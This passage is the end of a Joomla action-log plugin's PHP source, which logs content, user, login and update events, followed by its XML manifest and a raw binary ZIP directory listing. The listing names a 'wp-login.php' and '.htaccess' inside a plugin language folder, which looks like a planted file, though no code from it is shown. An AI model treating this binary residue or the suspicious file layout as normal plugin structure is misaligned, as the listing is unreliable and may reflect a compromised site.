break;
case -2:
$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_TRASHED';
$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_TRASHED';
$action = 'trash';
break;
default:
$messageLanguageKey = '';
$defaultLanguageKey = '';
$action = '';
break;
}
// If the content type doesn't has it own language key, use default
language key
if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
{
$messageLanguageKey = $defaultLanguageKey;
}
$db = $this->db;
$query = $db->getQuery(true)
->select($db->quoteName(array($params->title_holder,
$params->id_holder)))
->from($db->quoteName($params->table_name))
->where($db->quoteName($params->id_holder) . ' IN ('
. implode(',', ArrayHelper::toInteger($pks)) . ')');
$db->setQuery($query);
try
{
$items = $db->loadObjectList($params->id_holder);
}
catch (RuntimeException $e)
{
$items = array();
}
$messages = array();
foreach ($pks as $pk)
{
$message = array(
'action' => $action,
'type' => $params->text_prefix .
'_TYPE_' . $params->type_title,
'id' => $pk,
'title' =>
$items[$pk]->{$params->title_holder},
'itemlink' =>
ActionlogsHelper::getContentTypeLink($option, $contentType, $pk,
$params->id_holder)
);
$messages[] = $message;
}
$this->addLog($messages, $messageLanguageKey, $context);
}
/**
* On Saving application configuration logging method
* Method is called when the application config is being saved
*
* @param JRegistry $config JRegistry object with the new config
*
* @return void
*
* @since 3.9.0
*/
public function onApplicationAfterSave($config)
{
$option = $this->app->input->getCmd('option');
if (!$this->checkLoggable($option))
{
return;
}
$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_APPLICATION_CONFIG_UPDATED';
$action = 'update';
$message = array(
'action' => $action,
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_APPLICATION_CONFIG',
'extension_name' => 'com_config.application',
'itemlink' => 'index.php?option=com_config'
);
$this->addLog(array($message), $messageLanguageKey,
'com_config.application');
}
/**
* On installing extensions logging method
* This method adds a record to #__action_logs contains (message, date,
context, user)
* Method is called when an extension is installed
*
* @param JInstaller $installer Installer object
* @param integer $eid Extension Identifier
*
* @return void
*
* @since 3.9.0
*/
public function onExtensionAfterInstall($installer, $eid)
{
$context = $this->app->input->get('option');
if (!$this->checkLoggable($context))
{
return;
}
$manifest = $installer->get('manifest');
if ($manifest === null)
{
return;
}
$extensionType = $manifest->attributes()->type;
// If the extension type has it own language key, use it, otherwise, use
default language key
if
($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_'
. $extensionType . '_INSTALLED')))
{
$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType
. '_INSTALLED';
}
else
{
$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_EXTENSION_INSTALLED';
}
$message = array(
'action' => 'install',
'type' => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $extensionType,
'id' => $eid,
'name' => (string) $manifest->name,
'extension_name' => (string) $manifest->name
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* On uninstalling extensions logging method
* This method adds a record to #__action_logs contains (message, date,
context, user)
* Method is called when an extension is uninstalled
*
* @param JInstaller $installer Installer instance
* @param integer $eid Extension id
* @param integer $result Installation result
*
* @return void
*
* @since 3.9.0
*/
public function onExtensionAfterUninstall($installer, $eid, $result)
{
$context = $this->app->input->get('option');
if (!$this->checkLoggable($context))
{
return;
}
// If the process failed, we don't have manifest data, stop process
to avoid fatal error
if ($result === false)
{
return;
}
$manifest = $installer->get('manifest');
if ($manifest === null)
{
return;
}
$extensionType = $manifest->attributes()->type;
// If the extension type has it own language key, use it, otherwise, use
default language key
if
($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_'
. $extensionType . '_UNINSTALLED')))
{
$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType
. '_UNINSTALLED';
}
else
{
$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_EXTENSION_UNINSTALLED';
}
$message = array(
'action' => 'install',
'type' => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $extensionType,
'id' => $eid,
'name' => (string) $manifest->name,
'extension_name' => (string) $manifest->name
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* On updating extensions logging method
* This method adds a record to #__action_logs contains (message, date,
context, user)
* Method is called when an extension is updated
*
* @param JInstaller $installer Installer instance
* @param integer $eid Extension id
*
* @return void
*
* @since 3.9.0
*/
public function onExtensionAfterUpdate($installer, $eid)
{
$context = $this->app->input->get('option');
if (!$this->checkLoggable($context))
{
return;
}
$manifest = $installer->get('manifest');
if ($manifest === null)
{
return;
}
$extensionType = $manifest->attributes()->type;
// If the extension type has it own language key, use it, otherwise, use
default language key
if
($this->app->getLanguage()->hasKey('PLG_ACTIONLOG_JOOMLA_'
. $extensionType . '_UPDATED'))
{
$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType
. '_UPDATED';
}
else
{
$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_EXTENSION_UPDATED';
}
$message = array(
'action' => 'update',
'type' => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $extensionType,
'id' => $eid,
'name' => (string) $manifest->name,
'extension_name' => (string) $manifest->name
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* On Saving extensions logging method
* Method is called when an extension is being saved
*
* @param string $context The extension
* @param JTable $table DataBase Table object
* @param boolean $isNew If the extension is new or not
*
* @return void
*
* @since 3.9.0
*/
public function onExtensionAfterSave($context, $table, $isNew)
{
$option = $this->app->input->getCmd('option');
if ($table->get('module') != null)
{
$option = 'com_modules';
}
if (!$this->checkLoggable($option))
{
return;
}
$params = ActionlogsHelper::getLogContentTypeParams($context);
// Not found a valid content type, don't process further
if ($params === null)
{
return;
}
list(, $contentType) = explode('.', $params->type_alias);
if ($isNew)
{
$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_ADDED';
$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
}
else
{
$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_UPDATED';
$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
}
// If the extension type doesn't have it own language key, use
default language key
if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
{
$messageLanguageKey = $defaultLanguageKey;
}
$message = array(
'action' => $isNew ? 'add' :
'update',
'type' => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $params->type_title,
'id' => $table->get($params->id_holder),
'title' =>
$table->get($params->title_holder),
'extension_name' =>
$table->get($params->title_holder),
'itemlink' =>
ActionlogsHelper::getContentTypeLink($option, $contentType,
$table->get($params->id_holder), $params->id_holder)
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* On Deleting extensions logging method
* Method is called when an extension is being deleted
*
* @param string $context The extension
* @param JTable $table DataBase Table object
*
* @return void
*
* @since 3.9.0
*/
public function onExtensionAfterDelete($context, $table)
{
if
(!$this->checkLoggable($this->app->input->get('option')))
{
return;
}
$params = ActionlogsHelper::getLogContentTypeParams($context);
// Not found a valid content type, don't process further
if ($params === null)
{
return;
}
$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
$message = array(
'action' => 'delete',
'type' => 'PLG_ACTIONLOG_JOOMLA_TYPE_' .
$params->type_title,
'title' => $table->get($params->title_holder)
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* On saving user data logging method
*
* Method is called after user data is stored in the database.
* This method logs who created/edited any user's data
*
* @param array $user Holds the new user data.
* @param boolean $isnew True if a new user is stored.
* @param boolean $success True if user was successfully stored in the
database.
* @param string $msg Message.
*
* @return void
*
* @since 3.9.0
*/
public function onUserAfterSave($user, $isnew, $success, $msg)
{
$context = $this->app->input->get('option');
$task = $this->app->input->get->getCmd('task');
if (!$this->checkLoggable($context))
{
return;
}
$jUser = Factory::getUser();
if (!$jUser->id)
{
$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_REGISTERED';
$action = 'register';
// Reset request
if ($task === 'reset.request')
{
$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_USER_RESET_REQUEST';
$action = 'resetrequest';
}
// Reset complete
if ($task === 'reset.complete')
{
$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_USER_RESET_COMPLETE';
$action = 'resetcomplete';
}
// Registration Activation
if ($task === 'registration.activate')
{
$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_USER_REGISTRATION_ACTIVATE';
$action = 'activaterequest';
}
}
elseif ($isnew)
{
$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
$action = 'add';
}
else
{
$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
$action = 'update';
}
$userId = $jUser->id ?: $user['id'];
$username = $jUser->username ?: $user['username'];
$message = array(
'action' => $action,
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
'id' => $user['id'],
'title' => $user['name'],
'itemlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user['id'],
'userid' => $userId,
'username' => $username,
'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$userId,
);
$this->addLog(array($message), $messageLanguageKey, $context,
$userId);
}
/**
* On deleting user data logging method
*
* Method is called after user data is deleted from the database
*
* @param array $user Holds the user data
* @param boolean $success True if user was successfully stored in the
database
* @param string $msg Message
*
* @return void
*
* @since 3.9.0
*/
public function onUserAfterDelete($user, $success, $msg)
{
$context = $this->app->input->get('option');
if (!$this->checkLoggable($context))
{
return;
}
$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
$message = array(
'action' => 'delete',
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
'id' => $user['id'],
'title' => $user['name']
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* On after save user group data logging method
*
* Method is called after user group is stored into the database
*
* @param string $context The context
* @param JTable $table DataBase Table object
* @param boolean $isNew Is new or not
*
* @return void
*
* @since 3.9.0
*/
public function onUserAfterSaveGroup($context, $table, $isNew)
{
// Override context (com_users.group) with the component context
(com_users) to pass the checkLoggable
$context = $this->app->input->get('option');
if (!$this->checkLoggable($context))
{
return;
}
if ($isNew)
{
$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
$action = 'add';
}
else
{
$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
$action = 'update';
}
$message = array(
'action' => $action,
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
'id' => $table->id,
'title' => $table->title,
'itemlink' =>
'index.php?option=com_users&task=group.edit&id=' .
$table->id
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* On deleting user group data logging method
*
* Method is called after user group is deleted from the database
*
* @param array $group Holds the group data
* @param boolean $success True if user was successfully stored in the
database
* @param string $msg Message
*
* @return void
*
* @since 3.9.0
*/
public function onUserAfterDeleteGroup($group, $success, $msg)
{
$context = $this->app->input->get('option');
if (!$this->checkLoggable($context))
{
return;
}
$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
$message = array(
'action' => 'delete',
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
'id' => $group['id'],
'title' => $group['title']
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* Method to log user login success action
*
* @param array $options Array holding options (user, responseType)
*
* @return void
*
* @since 3.9.0
*/
public function onUserAfterLogin($options)
{
$context = 'com_users';
if (!$this->checkLoggable($context))
{
return;
}
$loggedInUser = $options['user'];
$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_IN';
$message = array(
'action' => 'login',
'userid' => $loggedInUser->id,
'username' => $loggedInUser->username,
'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$loggedInUser->id,
'app' =>
'PLG_ACTIONLOG_JOOMLA_APPLICATION_' .
$this->app->getName(),
);
$this->addLog(array($message), $messageLanguageKey, $context,
$loggedInUser->id);
}
/**
* Method to log user login failed action
*
* @param array $response Array of response data.
*
* @return void
*
* @since 3.9.0
*/
public function onUserLoginFailure($response)
{
$context = 'com_users';
if (!$this->checkLoggable($context))
{
return;
}
// Get the user id for the given username
$query = $this->db->getQuery(true)
->select($this->db->quoteName(array('id',
'username')))
->from($this->db->quoteName('#__users'))
->where($this->db->quoteName('username') . ' =
' . $this->db->quote($response['username']));
$this->db->setQuery($query);
try
{
$loggedInUser = $this->db->loadObject();
}
catch (JDatabaseExceptionExecuting $e)
{
return;
}
// Not a valid user, return
if (!isset($loggedInUser->id))
{
return;
}
$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGIN_FAILED';
$message = array(
'action' => 'login',
'id' => $loggedInUser->id,
'userid' => $loggedInUser->id,
'username' => $loggedInUser->username,
'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$loggedInUser->id,
'app' =>
'PLG_ACTIONLOG_JOOMLA_APPLICATION_' .
$this->app->getName(),
);
$this->addLog(array($message), $messageLanguageKey, $context,
$loggedInUser->id);
}
/**
* Method to log user's logout action
*
* @param array $user Holds the user data
* @param array $options Array holding options (remember,
autoregister, group)
*
* @return void
*
* @since 3.9.0
*/
public function onUserLogout($user, $options = array())
{
$context = 'com_users';
if (!$this->checkLoggable($context))
{
return;
}
$loggedOutUser = User::getInstance($user['id']);
if ($loggedOutUser->block)
{
return;
}
$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_OUT';
$message = array(
'action' => 'logout',
'id' => $loggedOutUser->id,
'userid' => $loggedOutUser->id,
'username' => $loggedOutUser->username,
'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$loggedOutUser->id,
'app' =>
'PLG_ACTIONLOG_JOOMLA_APPLICATION_' .
$this->app->getName(),
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* Function to check if a component is loggable or not
*
* @param string $extension The extension that triggered the event
*
* @return boolean
*
* @since 3.9.0
*/
protected function checkLoggable($extension)
{
return in_array($extension, $this->loggableExtensions);
}
/**
* On after Remind username request
*
* Method is called after user request to remind their username.
*
* @param array $user Holds the user data.
*
* @return void
*
* @since 3.9.0
*/
public function onUserAfterRemind($user)
{
$context = $this->app->input->get('option');
if (!$this->checkLoggable($context))
{
return;
}
$message = array(
'action' => 'remind',
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
'id' => $user->id,
'title' => $user->name,
'itemlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
'userid' => $user->id,
'username' => $user->name,
'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
);
$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_REMIND', $context, $user->id);
}
/**
* On after Check-in request
*
* Method is called after user request to check-in items.
*
* @param array $table Holds the table name.
*
* @return void
*
* @since 3.9.3
*/
public function onAfterCheckin($table)
{
$context = 'com_checkin';
$user = Factory::getUser();
if (!$this->checkLoggable($context))
{
return;
}
$message = array(
'action' => 'checkin',
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
'id' => $user->id,
'title' => $user->username,
'itemlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
'userid' => $user->id,
'username' => $user->username,
'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
'table' => $table,
);
$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_CHECKIN', $context, $user->id);
}
/**
* On after log action purge
*
* Method is called after user request to clean action log items.
*
* @param array $group Holds the group name.
*
* @return void
*
* @since 3.9.4
*/
public function onAfterLogPurge($group = '')
{
$context = $this->app->input->get('option');
$user = Factory::getUser();
$message = array(
'action' => 'actionlogs',
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
'id' => $user->id,
'title' => $user->username,
'itemlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
'userid' => $user->id,
'username' => $user->username,
'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
);
$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_LOG', $context, $user->id);
}
/**
* On after log export
*
* Method is called after user request to export action log items.
*
* @param array $group Holds the group name.
*
* @return void
*
* @since 3.9.4
*/
public function onAfterLogExport($group = '')
{
$context = $this->app->input->get('option');
$user = Factory::getUser();
$message = array(
'action' => 'actionlogs',
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
'id' => $user->id,
'title' => $user->username,
'itemlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
'userid' => $user->id,
'username' => $user->username,
'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
);
$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_LOGEXPORT', $context, $user->id);
}
/**
* On after Cache purge
*
* Method is called after user request to clean cached items.
*
* @param string $group Holds the group name.
*
* @return void
*
* @since 3.9.4
*/
public function onAfterPurge($group = 'all')
{
$context = $this->app->input->get('option');
$user = JFactory::getUser();
if (!$this->checkLoggable($context))
{
return;
}
$message = array(
'action' => 'cache',
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
'id' => $user->id,
'title' => $user->username,
'itemlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
'userid' => $user->id,
'username' => $user->username,
'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
'group' => $group,
);
$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_CACHE', $context, $user->id);
}
/**
* On after CMS Update
*
* Method is called after user update the CMS.
*
* @param string $oldVersion The Joomla version before the update
*
* @return void
*
* @since 3.9.21
*/
public function onJoomlaAfterUpdate($oldVersion = null)
{
$context = $this->app->input->get('option');
$user = JFactory::getUser();
if (empty($oldVersion))
{
$oldVersion = JText::_('JLIB_UNKNOWN');
}
$message = array(
'action' => 'joomlaupdate',
'type' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
'id' => $user->id,
'title' => $user->username,
'itemlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
'userid' => $user->id,
'username' => $user->username,
'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
'version' => JVERSION,
'oldversion' => $oldVersion,
);
$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_UPDATE', $context, $user->id);
}
}
PKdo�[�TM�11joomla/joomla.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin"
group="actionlog" method="upgrade">
<name>PLG_ACTIONLOG_JOOMLA</name>
<author>Joomla! Project</author>
<creationDate>May 2018</creationDate>
<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<version>3.9.0</version>
<description>PLG_ACTIONLOG_JOOMLA_XML_DESCRIPTION</description>
<files>
<filename plugin="joomla">joomla.php</filename>
</files>
<languages>
<language
tag="en-GB">en-GB.plg_actionlog_joomla.ini</language>
<language
tag="en-GB">en-GB.plg_actionlog_joomla.sys.ini</language>
</languages>
</extension>
PKao�[����
'advancedtemplates/advancedtemplates.phpnu�[���PKao�[YOm�kk'aadvancedtemplates/advancedtemplates.xmlnu�[���PKao�[�כ�>>J#advancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.ininu�[���PKao�[�ȯ��N�!advancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[��6VVJ�$advancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.ininu�[���PKao�[�5J��N�,advancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[l�?���J�/advancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.ininu�[���PKao�[�����N�7advancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[�!n� *�:advancedtemplates/language/de-DE/.htaccessnu�[���PKao�[��NmEmE-_<advancedtemplates/language/de-DE/wp-login.phpnu�[���PKao�[�4�J)�advancedtemplates/language/en-GB/en-GB.plg_actionlog_advancedtemplates.ininu�[���PKao�[ܡ�f��Nadvancedtemplates/language/en-GB/en-GB.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[RR�ܣ�JԌadvancedtemplates/language/et-EE/et-EE.plg_actionlog_advancedtemplates.ininu�[���PKao�[ɺ�N�advancedtemplates/language/et-EE/et-EE.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[*0���J)�advancedtemplates/language/fr-FR/fr-FR.plg_actionlog_advancedtemplates.ininu�[���PKao�[0(s{��N}�advancedtemplates/language/fr-FR/fr-FR.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[%(+�BBJ��advancedtemplates/language/id-ID/id-ID.plg_actionlog_advancedtemplates.ininu�[���PKao�[���e��Ni�advancedtemplates/language/id-ID/id-ID.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[�+�55J�advancedtemplates/language/it-IT/it-IT.plg_actionlog_advancedtemplates.ininu�[���PKao�[���e��N.�advancedtemplates/language/it-IT/it-IT.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[8�L��JD�advancedtemplates/language/ja-JP/ja-JP.plg_actionlog_advancedtemplates.ininu�[���PKbo�[���e��NX�advancedtemplates/language/ja-JP/ja-JP.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[���OOJn�advancedtemplates/language/lt-LT/lt-LT.plg_actionlog_advancedtemplates.ininu�[���PKbo�[���
��N7�advancedtemplates/language/lt-LT/lt-LT.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[n��yQQJV�advancedtemplates/language/nl-BE/nl-BE.plg_actionlog_advancedtemplates.ininu�[���PKbo�[���e��N!�advancedtemplates/language/nl-BE/nl-BE.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[�;e�llJ7�advancedtemplates/language/nl-NL/nl-NL.plg_actionlog_advancedtemplates.ininu�[���PKbo�[��*`��N�advancedtemplates/language/nl-NL/nl-NL.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[m0�aaJ?�advancedtemplates/language/pt-BR/pt-BR.plg_actionlog_advancedtemplates.ininu�[���PKbo�[M�6`��N�advancedtemplates/language/pt-BR/pt-BR.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[{�${@@J5�advancedtemplates/language/pt-PT/pt-PT.plg_actionlog_advancedtemplates.ininu�[���PKbo�[���e��N�advancedtemplates/language/pt-PT/pt-PT.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[�����J�advancedtemplates/language/ru-RU/ru-RU.plg_actionlog_advancedtemplates.ininu�[���PKbo�[���e��NFadvancedtemplates/language/ru-RU/ru-RU.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[��88J\advancedtemplates/language/sv-SE/sv-SE.plg_actionlog_advancedtemplates.ininu�[���PKbo�[�8�|��Nadvancedtemplates/language/sv-SE/sv-SE.plg_actionlog_advancedtemplates.sys.ininu�[���PKco�[am���J*advancedtemplates/language/tr-TR/tr-TR.plg_actionlog_advancedtemplates.ininu�[���PKco�[�uD��Nyadvancedtemplates/language/tr-TR/tr-TR.plg_actionlog_advancedtemplates.sys.ininu�[���PKco�[:���J�advancedtemplates/language/uk-UA/uk-UA.plg_actionlog_advancedtemplates.ininu�[���PKco�[���e��N�$advancedtemplates/language/uk-UA/uk-UA.plg_actionlog_advancedtemplates.sys.ininu�[���PKco�[j���PPJ(advancedtemplates/language/vi-VN/vi-VN.plg_actionlog_advancedtemplates.ininu�[���PKco�[���e��N�/advancedtemplates/language/vi-VN/vi-VN.plg_actionlog_advancedtemplates.sys.ininu�[���PKco�[~G����J�2advancedtemplates/language/zh-CN/zh-CN.plg_actionlog_advancedtemplates.ininu�[���PKco�[iV�;NI:advancedtemplates/language/zh-CN/zh-CN.plg_actionlog_advancedtemplates.sys.ininu�[���PKco�[+B��}Y}Y+F=advancedtemplates/script.install.helper.phpnu�[���PKco�[��c�QQ$�advancedtemplates/script.install.phpnu�[���PKco�[l���s�sÚjoomla/joomla.phpnu�[���PKdo�[�TM�11�joomla/joomla.xmlnu�[���PK00�f